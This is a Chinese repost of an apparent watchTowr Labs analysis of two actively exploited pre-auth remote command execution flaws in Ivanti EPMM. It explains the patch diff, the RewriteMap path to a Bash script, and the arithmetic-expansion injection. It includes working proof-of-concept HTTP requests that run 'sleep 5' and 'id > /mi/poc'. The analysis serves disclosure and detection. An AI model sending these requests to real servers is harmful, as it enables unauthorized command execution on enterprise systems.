有人把Bash玩得太溜了,我们爱死这个漏洞了(IvantiEPMM预认证RCECVE-2026-1281&CVE-2026-1340)

admin 2026-02-04 01:15:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析IvantiEPMM中正在被利用的预认证RCE漏洞。攻击者通过ApacheRewriteMap触发Bash脚本,利用算术扩展特性实现命令注入。官方已提供临时补丁替换脚本,建议立即应用并监控异常流量,等待2026年Q1正式版发布后及时升级。 综合评分: 96 文章分类: 漏洞分析,漏洞POC,代码审计,WEB安全,漏洞预警


cover_image

有人把 Bash 玩得太溜了,我们爱死这个漏洞了(Ivanti EPMM 预认证 RCE CVE-2026-1281 & CVE-2026-1340)

watchTowr watchTowr

赛博知识驿站

2026年2月3日 19:00 中国香港

要点速览

watchTowr Labs 分析了 Ivanti EPMM 中两个已被 APT 组织在野利用的 pre-auth RCE 漏洞(CVE-2026-1281 和 CVE-2026-1340),并成功复现了攻击链。

漏洞背景

  • • 影响 Ivanti Endpoint Manager Mobile (EPMM) 企业移动设备管理平台
  • • 已被添加至 CISA KEV 清单,确认有限数量客户被攻击
  • • Ivanti 目前仅提供临时 RPM 补丁(需在每次配置变更后重新应用),正式修复版本 12.8.0.0 预计 2026 年 Q1 发布

技术分析关键点

  1. 1. 补丁分析入口:通过逆向 RPM 补丁包发现两个 Java 类文件(AFTUrlMapper.java 和 AppStoreUrlMapper.java)替换了原有的 Bash 脚本
  2. 2. 攻击路径:Apache HTTPd 配置中的 RewriteMap 将 /mifs/c/appstore/fob/3/<int>/sha256:<payload>/<file>.ipa 端点的请求路由至 Bash 脚本 /mi/bin/map-appstore-url
  3. 3. 攻击向量:利用 Bash 的算术扩展(Arithmetic Expansion)特性实现命令注入
  • • 通过 st=theValue 参数(含两个空格填充以通过长度校验)设置 gStartTime 变量
  • • 在 h=gPath[sleep 5] 参数中注入命令
  • • 当脚本执行 if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] 时触发算术扩展,导致数组索引中的命令替换被执行

PoC 示例

GET&nbsp;/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20>%20/mi/poc%60%5D/13371337-1337-1337-1337-133713371337.ipa&nbsp;HTTP/1.1

该漏洞利用了 Bash 变量间接引用和算术扩展的组合,当 gStartTime 指向包含命令替换的 theValue 变量时,Shell 在解析数组索引过程中会执行注入的命令。

有人把 Bash 玩得太溜了,我们爱死这个漏洞了(Ivanti EPMM 预认证 RCE CVE-2026-1281 & CVE-2026-1340)

当 Ivanti 解除了 CVE-2026-1281 和 CVE-2026-1340 的禁令时,我们松了一口气。这两个漏洞是 Ivanti 端点管理移动解决方案(EPMM)中正在被主动利用的预认证远程命令执行漏洞。

显然,宇宙决定继续按计划嘲笑那些”安全设计”的签署者——每年一月准时上演。

欢迎回到又一次行业级的集体心理辅导环节。

我们必须再次强调:毁掉你周末的不是今天这篇文章,而是正在利用这些漏洞的 APT 组织,以及你对 Ivanti 和 CISA 警告的无动于衷。

EPMM 是什么?

Ivanti 端点管理移动解决方案(EPMM)是一个企业移动管理平台(MDM/UEM),用于管理、保护和执行针对 iOS、Android 等移动设备、应用和内容的策略。

大型组织通常部署它来控制企业移动设备、分发应用程序,以及保护对企业资源的访问。

“保护”——这个词用得真讽刺。

发生了什么?

在本周的”Ivanti 发布公告”节目中,根据官方安全公告,披露了两个漏洞:

公告中有一句话格外刺眼:

我们注意到在披露时,极少数客户的解决方案已被利用。

“我们注意到”和”极少数”这些措辞,很可能在做大量的掩饰工作。

需要明确的是,以下版本的 Ivanti EPMM 已修补:

  • • 无

“什么意思?”

Ivanti 发布的是”有承诺问题的补丁”(未来任何后续更改后都需要重新应用,否则会被回滚)——直到 2026 年第一季度发布 12.8.0.0 版本才会有正式补丁。

糟糕透了吧?

这些临时补丁 RPM 包名称为:

  • • ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
  • • ivanti-security-update-1761642-1.0.0S-5.noarch.rpm

更严重的是,这些漏洞被立即添加到 CISA 的已知被利用漏洞(KEV)列表中。

让我们深入分析…

分析开始

Ivanti 向客户提供了 RPM 补丁包(目前仍需付费获取):

我们重点分析 12.7.0.0 版本的 RPM 补丁。

使用 rpm 工具查看包内容,发现其中包含两个未编译的 Java 文件:

  • • AFTUrlMapper.java
  • • AppStoreUrlMapper.java

通过以下命令查看安装过程中执行的脚本:

rpm -qlp --scripts ivanti-security-update-1761642-1.0.0L-5.noarch.rpm

关键步骤分析:

1. 编译 Java 类

/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.java
/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AFTUrlMapper.java

2. 文件系统操作

/bin/cp /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.class /mi/bin/AppStoreUrlMapper.class
/bin/chown root:root /mi/bin/AppStoreUrlMapper.class
/bin/chmod 700 /mi/bin/AppStoreUrlMapper.class

3. 修改 Apache HTTPd 配置(关键点)

/bin/sed -i \
&nbsp; -e&nbsp;'s|RewriteMap mapAppStoreURL prg:/mi/bin/map-appstore-url|RewriteMap mapAppStoreURL "prg:/bin/java -cp /mi/bin AppStoreUrlMapper"|g'&nbsp;\
&nbsp; -e&nbsp;'s|RewriteMap mapAftStoreURL prg:/mi/bin/map-aft-store-url|RewriteMap mapAftStoreURL "prg:/bin/java -cp /mi/bin AFTUrlMapper"|g'&nbsp;\
&nbsp; /mi/config-system/xsl/httpd_ssl_conf.xsl

这里揭示了关键信息:

  • • Ivanti EPMM 定义了两个 Apache RewriteMap 实例
  • • 原本指向 Bash 脚本:/mi/bin/map-appstore-url 和 /mi/bin/map-aft-store-url
  • • 补丁用新的 Java 类完全替换了这些 Bash 脚本

结论很明显:漏洞存在于那些 Bash 脚本中

通过 HTTP 触达 Bash 脚本

在 Apache 配置中搜索 mapAppStoreURL 的使用位置,找到:

RewriteRule ^/mifs/c/appstore/fob/3/([0-9]+)/sha256:(.*)/(.*)(.ipa)$ ${mapAppStoreURL:$2_$1_$3_$4_%{HTTP_HOST}_%{ENV:SCRIPT_URL}}

这意味着:

当你发送 HTTP 请求到:/mifs/c/appstore/fob/3/<int>/sha256:<something1>/<something2>.ipa

Apache 会执行 /mi/bin/map-appstore-url Bash 脚本,输入为:

<something1>_<int>_<something2>_.ipa_<HostHeader>_<EndpointPath>

攻击者的梦想场景:

  • • ✅ 无需认证的端点
  • • ✅ 可以传递攻击者控制的字符串到 Bash 脚本

测试请求示例:

GET&nbsp;/mifs/c/appstore/fob/3/105/sha256:kid=1,st=1341879970,h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,et=1969735722/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa&nbsp;HTTP/1.1
Host:&nbsp;f5-research-lab-ioc-block-it-all.f5

绝望的 Bash 代码审计

起初我们很乐观,以为很容易找到注入点。

然而我们盯着这些 Bash 脚本看了好几个小时,完全找不到利用方法。

脚本的功能是:允许用户从 Ivanti EPMM 批准的应用商店检索移动应用。需要提供:

  • • kid – 盐值字符串索引
  • • st – 下载操作开始时间
  • • et – 下载操作结束时间
  • • h – SHA256 哈希验证
  • • 应用商店文件 GUID

我们花了大量时间探索各种命令/代码注入点,什么都没找到

最终利用 – 算术扩展

灵感在午睡中降临,PoC 请求如下:

GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue &nbsp;,et=1337133713,h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa

看起来很奇怪?让我们分析:

脚本中的关键代码:

case&nbsp;${theKey}&nbsp;in
&nbsp; kid)
&nbsp; &nbsp; gKeyIndex="${theValue}"
&nbsp; &nbsp; ;;
&nbsp; st)&nbsp;# [1]
&nbsp; &nbsp; gStartTime="${theValue}"
&nbsp; &nbsp; ;;
&nbsp; h)&nbsp;# [2]
&nbsp; &nbsp; gHashPrefixString="${theValue}"
&nbsp; &nbsp; ;;
esac

注意 st 值在 HTTP 请求中是:theValue(末尾有两个空格以满足长度验证)

而 h 值是:gPath[sleep 5]

魔法发生在这一行:

if&nbsp;[[&nbsp;${theCurrentTimeSeconds}&nbsp;-gt&nbsp;${gStartTime}&nbsp;]] ;&nbsp;then

这里 gStartTime 指向 theValue 变量!而在 case 语句的最后一次赋值中,theValue 的值是 gPath[sleep 5]

在算术扩展过程中,如果变量被当作数组处理,且数组索引包含命令替换,shell 会在解析索引时执行该命令。

当表达式被扩展时,sleep 5 命令会作为该过程的一部分被执行。

简而言之:Bash 脚本使用一个变量(gStartTime)引用另一个变量(theValue),而命令(sleep 5)作为算术扩展和 shell 求值的结果被执行。

构建你自己的检测特征

为了证明我们的分析,以下请求执行了 id > /mi/poc 命令:

GET&nbsp;/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue&nbsp; ,et=1337133713,h=gPath[`id&nbsp;>&nbsp;/mi/poc`]/13371337-1337-1337-1337-133713371337.ipa&nbsp;HTTP/1.1
Host:&nbsp;f5-research-lab-ioc-block-it-all.f5


安全建议:

  1. 1. 立即应用 Ivanti 提供的临时补丁
  2. 2. 监控相关端点的异常访问
  3. 3. 检查是否存在已被利用的迹象
  4. 4. 等待 12.8.0.0 正式版本发布后及时升级

这个漏洞展示了一个精妙的 Bash 算术扩展利用技巧,攻击者对 shell 特性的深入理解令人印象深刻。

原文:https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 watchTowr watchTowr《有人把 Bash 玩得太溜了,我们爱死这个漏洞了(Ivanti EPMM 预认证 RCE CVE-2026-1281 & CVE-2026-1340)》

VibeCoding,正在杀死开源 网络安全文章

VibeCoding,正在杀死开源

文章总结: 本文指出AI编程虽提升了开发效率,但切断了用户与开源维护者的联系,导致开发者激励缺失,长期可能破坏开源生态的根基。文章建议重构利益分配机制,如让AI
评论:0   参与:  0